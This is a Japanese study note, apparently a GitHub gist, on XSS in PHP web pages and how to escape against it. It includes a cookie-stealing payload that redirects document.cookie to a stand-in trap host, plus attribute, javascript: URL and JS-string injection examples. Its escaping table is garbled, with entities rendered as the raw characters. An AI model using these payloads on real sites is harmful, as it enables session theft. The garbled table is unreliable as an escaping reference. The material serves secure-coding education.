https://gist.github.com/motoyasu-saburi/a05a435d1e0efd0a98ddd66275f7f5fb
- 罠サイトのiframe内で脆弱なサイトが表示される
- 脆弱なサイトはXSS攻撃により、クッキー値をQuery文字列につけて、情報収集ページに推移する
- 情報収集ページは受け取ったクッキー値をメールで攻撃者に送信する
<iframe src="http://example.jp/hoge.php?keyword=<script>window.location='http://trap.com/trap.php?sid='%2Bdocument.cookie;</script>"></iframe>
結果、下記が起動
<script>window.location='http://trap.com/trap.php?sid='+document.cooki;</script>
ページ内にあるフォームをダブルクォートなどで終了させ、 悪意のあるformタグ(actionに罠サイトを設定)を表示させ、 クレジットカード番号などを入力させて送信させる方法などがある (この方式の場合公式サイトに罠が設置され、javascriptを使用しないことからユーザは見破ることが難しい)
いずれもHTML内でのメタ文字を正しく処理していないことが問題。 (「<」などを文章中で使う場合に「<」といった形式で表示しない場合など)
置かれている場所 | 説明 | 最低限のエスケープ内容 |
---|---|---|
要素内容 | ・タグと文字参照が解釈される ・「<」で終端 |
「<」「&」を文字参照に |
属性値(ダブルクォートで括られたもの) | ・文字参照が解釈される ・ダブルクォートで終端 |
属性値を「"」で囲み、「<」「"」と「&」を文字参照に |
<input type=text name=mail value=<?php echo $_GET['name']; ?>>
攻撃例
1+onmouseover%3dalert(document.cookie)
<input type="text" name="mail" value="<?php echo $_GET['name']; >">
攻撃例
"+onmouseover%3d"alert(document.cookie)
上記は「+」がスペース、「%3d」が「=」で空白になる エスケープは以下の項目を守りつつ、下記の表でエスケープするとよい
- 要素内容は「<」「>」「&」のエスケープ
- 属性値はダブルクォートで囲む
変換前 | 変換後 |
---|---|
< | < |
> | > |
& | & |
" | " |
' | ' |
レスポンスの文字エンコーディングを指定しておかないと XSSの原因になるので言語それぞれで対策をするとよい
- 入力値の検証
- クッキーにHttpOnly属性を付与
- TRACEメソッドの無効化
- (クロスサイト・�トレーシング対策)
- Apacheなどで設定可能
URLが外部から変更できる場合 以下のような形式に対し
<a href="<?php echo htmlspecialchars($_GET['url']); ?>">ブックマーク</a>
攻撃例
http://example.jp/hoge.php?url=javascript:alert(document.cookie)
URLを生成する場合は以下のいずれかのみを許容するパターンがよい
- http: または、 https:で始まる絶対URL
- スラッシュ「/」で始まる相対URL
リンク先ドメインのチェック
- リンク先が自明の場合は外部ドメインの場合エラーを出す
- 外部ドメインのリンクであることを利用者に注意喚起するためのクッションページを出す
javascriptの動的生成に対するXSS
<body onload="init('<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES) ?>')">
例えば上記の場合、メタ文字をエスケープしているから良いようには見えるが、
name=');alert(document.cookie)//
といったパターンでXSSが発生
文字 | エスケープ後 |
---|---|
|\| | |
' | \' |
" | \" |
改行 | \n |
JSによりクライアント側で表示処理する箇所があり、そこに脆弱性がある場合のXSS
例えば
http://hoge.com/index.html?name=Yamada
で、Yamadaが動的表示される場合に
name=<script>alert(document.cookie)</script>
などする攻撃手法